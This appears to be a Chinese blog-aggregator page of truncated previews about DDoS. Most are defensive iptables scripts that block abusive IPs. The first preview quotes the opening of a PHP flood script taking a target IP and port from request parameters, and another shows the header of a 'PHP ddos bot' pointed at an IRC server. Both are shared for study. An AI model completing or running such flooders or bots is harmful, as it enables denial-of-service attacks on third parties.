知己知彼,方能運籌帷幄, 有个朋友的网站中招了,经过检测发现了几种攻击代码,现贴出来,供大家研究.代码1:<?php
ini_set("display_errors", "Off");
$packets = 0;
$ip = $_GET['ip'];
$port = $_GET['port'];
set_time_limit(0);
ignore_user_abort(FALSE            
                
                    
                        
                                                            
                                                                        
                                                                                        原创
                                                                                    
                            2013-06-01 13:14:35
                            
                                644阅读
                            
                                                                             
                 
                
                             
         
            
            
            
            有好工作欢迎推荐 ,限深圳地区 ,个人qq:252190189            
                
                    
                        
                                                            
                                                                        
                                                                                        原创
                                                                                    
                            2013-02-17 23:00:59
                            
                                472阅读
                            
                                                                             
                 
                
                             
         
            
            
            
            DATE=`date +"%Y%m%d_%H%M%S"`
ddos_path=/tmp/ddos
email=xxxxx@qq.com
#生成ddos目录
[ -d $ddos_path ] || mkdir -p $ddos_path
[ -d $ddos_path/log ]             
                
                    
                        
                                                            
                                                                        
                                                                                        原创
                                                                                    
                            2013-06-20 18:03:48
                            
                                520阅读
                            
                                                        
                                点赞
                            
                                                                             
                 
                
                             
         
            
            
            
            #!/bin/sh
#------------------------------------------------------------------------------
#
# File: SIG-antiDDoS.sh
#
# Compiler: Ruslan Abuzant <ruslan@abuzant.com>            
                
                    
                        
                                                            
                                                                        
                                                                                        转载
                                                                                            精选
                                                        
                            2015-06-01 12:01:47
                            
                                548阅读
                            
                                                                             
                 
                
                             
         
            
            
            
            #!/bin/bashDATE=$(date+%d/%b/%Y:%H:%M)LOG_FILE=/usr/local/nginx/logs/demo2.access.logABNORMAL_IP=$(tail-n5000$LOG_FILE|grep$DATE|awk'{a[$1]++}END{for(iina)if(a[i]>10)printi}')forIPin$ABNORM            
                
                    
                        
                                                            
                                                                        
                                                                                        原创
                                                                                    
                            2020-09-10 17:46:38
                            
                                666阅读
                            
                                                                             
                 
                
                             
         
            
            
            
             
<?php  /*  PHP ddos bot  Version 1.0  */ $server="1.3.3.7";  $Port="6667";  $nick="bot-";$willekeurig;              
                
                    
                        
                                                            
                                                                        
                                                                                        原创
                                                                                    
                            2007-10-25 17:38:00
                            
                                1306阅读
                            
                                                                             
                 
                
                             
         
            
            
            
            这几天服务器一直受到DDOS的攻击,目前只能通过封IP来源来暂时解决。IP不源变化多端,光靠手工来添加简直是恶梦,想了个方法,用SHELL来做。   比较简单,但很实用:) 以下内容根据作者原文进行适当的修改:)  1.编写脚本  mkdir /root/bin vi /root/bin/dropip.sh #!/bin/bash&nbs            
                
                    
                        
                                                            
                                                                        
                                                                                        原创
                                                                                    
                            2013-05-29 11:54:22
                            
                                980阅读
                            
                                                        
                                点赞
                            
                                                                                    
                                1评论
                            
                                                 
                 
                
                             
         
            
            
            
            更多内容请访问 李兴利博客            
                
                    
                        
                                                            
                                                                        
                                                                                        原创
                                                                                    
                            2022-05-05 14:57:34
                            
                                130阅读
                            
                                                                             
                 
                
                             
         
            
            
            
            php放哈希ddos攻击方法:
1、找到源码里的main/php_variables.c文件
2、搜索zend_symtable_update(应该有2个)
3、在前面加入代码:
if (zend_hash_num_elements(symtable1) >= 1000) {
       &nb            
                
                    
                        
                                                            
                                                                        
                                                                                        原创
                                                                                    
                            2012-01-11 17:02:34
                            
                                1175阅读
                            
                                                                             
                 
                
                             
         
            
            
            
            提示:根据web日志或者或者网络连接数,监控当某个IP并发连接数或者短时内PV达到100      即调用防火墙命令封掉对应的IP,监控频率每隔3分钟      防火墙命令为:iptables -A INPUT -s 10.0.1.10 -j DROP思路:    1.            
                
                    
                        
                                                            
                                                                        
                                                                                        原创
                                                                                    
                            2016-05-16 10:17:29
                            
                                1419阅读
                            
                                                                             
                 
                
                             
         
            
            
            
            一个很实用的iptables脚本,实现自动拒绝可疑IP地址,并发送报警邮件,短信 linux:~ # cat  iptables#!/bin/bashtouch /root/back_bad_ip.txttime=`date +"%Y-%m-%d %H:%M:%S"`ar=`wc -l /root/back_bad_ip.txt |awk '{print $1}'`sleep             
                
                    
                        
                                                            
                                                                        
                                                                                        转载
                                                                                            精选
                                                        
                            2014-05-26 09:47:44
                            
                                774阅读
                            
                                                                             
                 
                
                             
         
            
            
            
            攻击流量到底多大,这是一个关键问题。攻击量的大小。用的防护方法不一样。下面给你讲一讲,1G之内的防护方式            
                
                    
                        
                                                            
                                                                        
                                                                                        原创
                                                                                    
                            2023-03-02 05:02:47
                            
                                41阅读
                            
                                                                             
                 
                
                             
         
            
            
            
            一个很实用的iptables脚本,实现自动拒绝可疑IP地址,并发送报警邮件,短信 linux:~ # cat  iptables
#!/bin/bashtouch /root/back_bad_ip.txttime=`date +"%Y-%m-%d %H:%M:%S"`ar=`wc -l /root/back_bad_ip.txt |awk '{print $1}'`sleep 1#红            
                
                    
                        
                                                            
                                                                        
                                                                推荐
                                                                                        原创
                                                                                    
                            2011-07-09 09:15:25
                            
                                5410阅读
                            
                                                        
                                点赞
                            
                                                                                    
                                20评论
                            
                                                 
                 
                
                             
         
            
            
            
            #!/bin/bash #fix by leipore at 2014-12-18  ddos-autoprotection.shtouch /root/back_bad_ip.txt time=`date +"%Y-%m-%d %H:%M:%S"` ar=`wc -l /root/back_bad_ip.txt |awk '{print $1}'`&nbs            
                
                    
                        
                                                            
                                                                        
                                                                                        原创
                                                                                    
                            2015-06-01 12:45:54
                            
                                832阅读
                            
                                                                             
                 
                
                             
         
            
            
            
            一个很实用的iptables脚本,实现自动拒绝可疑IP地址,并发送报警邮件,短信 linux:~ # cat  iptables#!/bin/bashtouch /root/back_bad_ip.txttime=`date +"%Y-%m-%d %H:%M:%S"`ar=`wc -l /root/back_bad_ip.txt |awk '{print $1}'`sleep 1#红色自            
                
                    
                        
                                                            
                                                                        
                                                                                        转载
                                                                                            精选
                                                        
                            2013-11-24 19:51:06
                            
                                714阅读
                            
                                                                             
                 
                
                             
         
            
            
            
            通过封禁ip来解决ddos获取连接数最多的前10个ip并临时写入文件dropip中通过for循环来遍历dropip文件的ip排除192.168开头和127.0开头的ip然后遍历及排除完3题的ip后调用防火墙drop掉并写日历文件到/var/log/ddos中#!/bin/bashnetstat -an|grep ESTABLISHED|awk ‘{print $4}’|awk -F ‘:’ ‘{p            
                
                    
                        
                                                            
                                                                        
                                                                                        原创
                                                                                    
                            2022-03-25 09:02:51
                            
                                236阅读
                            
                                                                             
                 
                
                                
                     
                                    
                             
         
            
            
            
            * 目录结构  sort/{ArrayUtil.php,Comparator.php,Shell.php}  autoload.php  index.php* sort/Shell.php<?phpnamespace sort;class Shell {    protected $comparator;    public function __cons...            
                
                    
                        
                                                            
                                                                        
                                                                                        原创
                                                                                    
                            2021-08-13 01:06:38
                            
                                100阅读
                            
                                                                             
                 
                
                             
         
            
            
            
            由于PHP基本是用于WEB程序开发的,所以安全性成了人们考虑的一个重要方面。于是PHP的设计者们给PHP加了一个门:安全模式。如果运行在安全模式下,那么PHP脚本中将受到如下四个方面的限制:执行外部命令在打开文件时有些限制连接MySQL数据库基于HTTP的认证在安全模式下,只有在特定目录中的外部程序才可以被执行,对其它程序的调用将被拒绝。这个目录可以在php.ini文件中用safe_mode_ex            
                
                    
                        
                                                            
                                                                        
                                                                                        转载
                                                                                            精选
                                                        
                            2013-12-18 11:12:04
                            
                                422阅读
                            
                                                                             
                 
                
                             
         
            
            
            
            这周无聊了研究了点小东西 既然py可以当shell用 那么php和js能不能也这样用呢?毕竟            
                
                    
                        
                                                            
                                                                        
                                                                                        原创
                                                                                    
                            2014-06-09 17:03:32
                            
                                66阅读
                            
                                                                             
                 
                
                             
         
            
            
            
            在计算机领域中,Linux操作系统具有着非常广泛的应用,而作为Linux系统中的一款非常重要的软件,php shell更是备受关注。php shell是一种由PHP脚本编写的交互式命令行解释器,它可以为用户提供一个方便的方式来与服务器进行交互和管理。在这篇文章中,我们将重点介绍关于php shell在Linux系统上的应用。
首先,我们需要了解php shell在Linux系统中的作用。php            
                
                    
                        
                                                            
                                                                        
                                                                                        原创
                                                                                    
                            2024-03-04 13:58:01
                            
                                89阅读